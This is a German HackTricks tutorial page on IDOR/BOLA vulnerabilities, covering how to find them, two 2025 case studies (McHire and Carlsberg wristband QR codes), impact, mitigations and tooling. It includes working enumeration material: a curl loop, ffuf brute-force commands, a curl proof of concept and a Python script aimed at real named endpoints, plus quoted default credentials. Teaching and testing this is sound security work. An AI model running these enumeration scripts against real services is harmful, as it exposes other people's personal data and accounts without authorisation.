IDOR (Insecure Direct Object Reference)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) erscheint, wenn ein Web- oder API-Endpunkt einen benutzersteuerbaren Identifikator offenlegt oder akzeptiert, der direkt verwendet wird, um auf ein internes Objekt zuzugreifen, ohne zu überprüfen, ob der Aufrufer dazu berechtigt ist, auf dieses Objekt zuzugreifen/es zu verändern. Eine erfolgreiche Ausnutzung ermöglicht typischerweise horizontale oder vertikale Privilegieneskalation, wie z. B. das Lesen oder Ändern von Daten anderer Benutzer und im schlimmsten Fall vollständige Account-Übernahme oder massenhafte Datenexfiltration.

1. Potenzielle IDORs identifizieren

  1. Suche nach Parametern, die auf ein Objekt verweisen:
  • Pfad: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Bevorzuge Endpunkte, die Daten lesen oder aktualisieren (GET, PUT, PATCH, DELETE).
  2. Achte darauf, ob Identifikatoren sequenziell oder vorhersagbar sind – wenn deine ID 64185742 ist, existiert wahrscheinlich 64185741.
  3. Untersuche versteckte oder alternative Flows (z. B. “Paradox team members” link in login pages), die zusätzliche APIs offenlegen könnten.
  4. Verwende eine authentifizierte Sitzung mit geringen Rechten und ändere nur die ID während du denselben token/cookie beibehältst. Das Ausbleiben einer Autorisierungsfehlermeldung ist normalerweise ein Hinweis auf IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Automatisierte enumeration (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Enumerating predictable download IDs (ffuf)

Authentifizierte File-Hosting-Panels speichern häufig pro-Benutzer-Metadaten in einer einzigen files-Tabelle und stellen einen download-Endpoint wie /download.php?id=<int> bereit. Wenn der Handler nur prüft, ob die ID existiert (und nicht, ob sie dem authentifizierten Benutzer gehört), kannst du den Integer-Bereich mit deinem gültigen Session-Cookie durchsuchen und die Backups/Configs anderer Tenants stehlen:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr entfernt 404-artige Templates, sodass nur echte Treffer übrig bleiben (z. B. IDs 54/150 leaking full site backups and signing material).
  • Der gleiche FFUF-Workflow funktioniert mit Burp Intruder oder einer curl-Schleife — stellen Sie nur sicher, dass Sie eingeloggt bleiben, während Sie die IDs inkrementieren.

Error-response oracle for user/file enumeration

Wenn ein Download-Endpoint sowohl einen username als auch einen filename akzeptiert (z. B. /view.php?username=<u>&file=<f>), führen subtile Unterschiede in Fehlermeldungen oft zu einem oracle:

  • Nicht vorhandener username → “User not found”
  • Fehlerhafter filename, aber gültige extension → “File does not exist” (manchmal listet er auch verfügbare Dateien auf)
  • Ungültige extension → Validierungsfehler

Mit einer beliebigen authentifizierten Sitzung können Sie den username-Parameter per Fuzzing testen, während Sie einen harmlosen filename beibehalten, und auf den “user not found”-String filtern, um gültige Benutzer zu entdecken:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Sobald gültige Benutzernamen identifiziert wurden, Dateien direkt anfordern (z. B., /view.php?username=amanda&file=privacy.odt). Dieses Muster führt häufig zur unbefugten Offenlegung von Dokumenten anderer Benutzer und zu credential leakage.

2. Echte Fallstudie – McHire Chatbot Platform (2025)

Während einer Bewertung des von Paradox.ai unterstützten McHire Recruiting-Portals wurde die folgende IDOR entdeckt:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8-digit, sequential numeric identifier

Durch Verringern von lead_id konnte der Tester beliebige Bewerberdaten einschließlich full PII (Name, e-mail, phone, address, shift preferences) abrufen sowie ein consumer JWT, das session hijacking ermöglichte. Die Enumeration des Bereichs 1 – 64,185,742 legte ungefähr 64 million Datensätze offen.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Kombiniert mit Standard-Admin-Zugangsdaten (123456:123456), die Zugriff auf den Test-Account gewährten, führte die Schwachstelle zu einem kritischen, unternehmensweiten Daten leak.

Case Study – Armband-QR-Codes als schwache bearer tokens (2025–2026)

Flow: Besucher der Ausstellung erhielten QR-codierte Armbänder; beim Scannen von https://homeofcarlsberg.com/memories/ ließ der Browser die gedruckte Armband-ID nehmen, hex-encode sie und rief ein cloudfunctions.net-Backend auf, um gespeicherte Medien (Fotos/Videos + Namen) abzurufen. Es gab no session binding oder Benutzer-Authentifizierung—knowledge of the ID = authorization.

Predictability: Armband-IDs folgten einem kurzen Muster wie C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Der Suchraum wurde auf ~26M Kombinationen geschätzt, trivial online erschöpfbar.

Exploitation workflow mit Burp Intruder:

  1. Payload generation: Erstelle Kandidaten-IDs (z. B. [A-Z]-###-###). Verwende einen Burp Intruder Pitchfork oder Cluster Bomb Angriff mit Positionen für den Buchstaben und die Ziffern. Füge eine payload processing rule → Add prefix/suffix → payload encoding: ASCII hex hinzu, sodass jede Anfrage den vom Backend erwarteten Hex-String überträgt.
  2. Response grep: Markiere Intruder grep-match für Marker, die nur in gültigen Antworten vorkommen (z. B. Medien-URLs/JSON-Felder). Ungültige IDs lieferten typischerweise ein leeres Array/404.
  3. Durchsatzmessung: ~1.000.000 IDs wurden in ~2 Stunden von einem Laptop getestet (~139 req/s). Bei dieser Rate würde der komplette Keyspace (~26M) in ~52 Stunden fallen. Der Testlauf legte bereits ~500 gültige Armbänder offen (Videos + vollständige Namen).
  4. Rate-limiting verification: Nachdem der Anbieter Throttling behauptete, wurde die gleiche Intruder-Konfiguration erneut ausgeführt. Identischer Durchsatz/Hit-Rate bewies, dass die Kontrolle fehlte/ineffektiv war; die Enumeration setzte sich ungehindert fort.

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lektion: Encoding (ASCII→hex/Base64) fügt keine Entropie hinzu; kurze IDs werden zu bearer tokens, die trotz kosmetischer Kodierung aufzählbar sind. Ohne benutzerbezogene Autorisierung + hochentropische Secrets können media/PII massenhaft abgeerntet werden, selbst wenn „rate limiting“ behauptet wird.

3. Auswirkungen von IDOR / BOLA

  • Horizontale Eskalation – Lesen/Aktualisieren/Löschen von Daten anderer Nutzer.
  • Vertikale Eskalation – ein Nutzer mit geringen Rechten erhält nur für Admins vorgesehene Funktionalität.
  • Massenhafte Datenpanne, wenn Identifikatoren sequenziell sind (z. B. applicant IDs, invoices).
  • Account-Übernahme durch Stehlen von Tokens oder Zurücksetzen von Passwörtern anderer Nutzer.

4. Gegenmaßnahmen & Best Practices

  1. Objektbasierte Autorisierung bei jeder Anfrage durchsetzen (user_id == session.user).
  2. Bevorzugen von indirekten, nicht erratbaren Identifikatoren (UUIDv4, ULID) statt Auto-Increment-IDs.
  3. Autorisierung serverseitig durchführen — niemals auf versteckte Formularfelder oder UI-Kontrollen vertrauen.
  4. RBAC / ABAC-Prüfungen in einer zentralen Middleware implementieren.
  5. rate-limiting & logging hinzufügen, um die Aufzählung von IDs zu erkennen.
  6. Sicherheitstest jedes neuen Endpunkts (unit, integration und DAST).

5. Tooling

  • BurpSuite-Erweiterungen: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github-Projekte: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks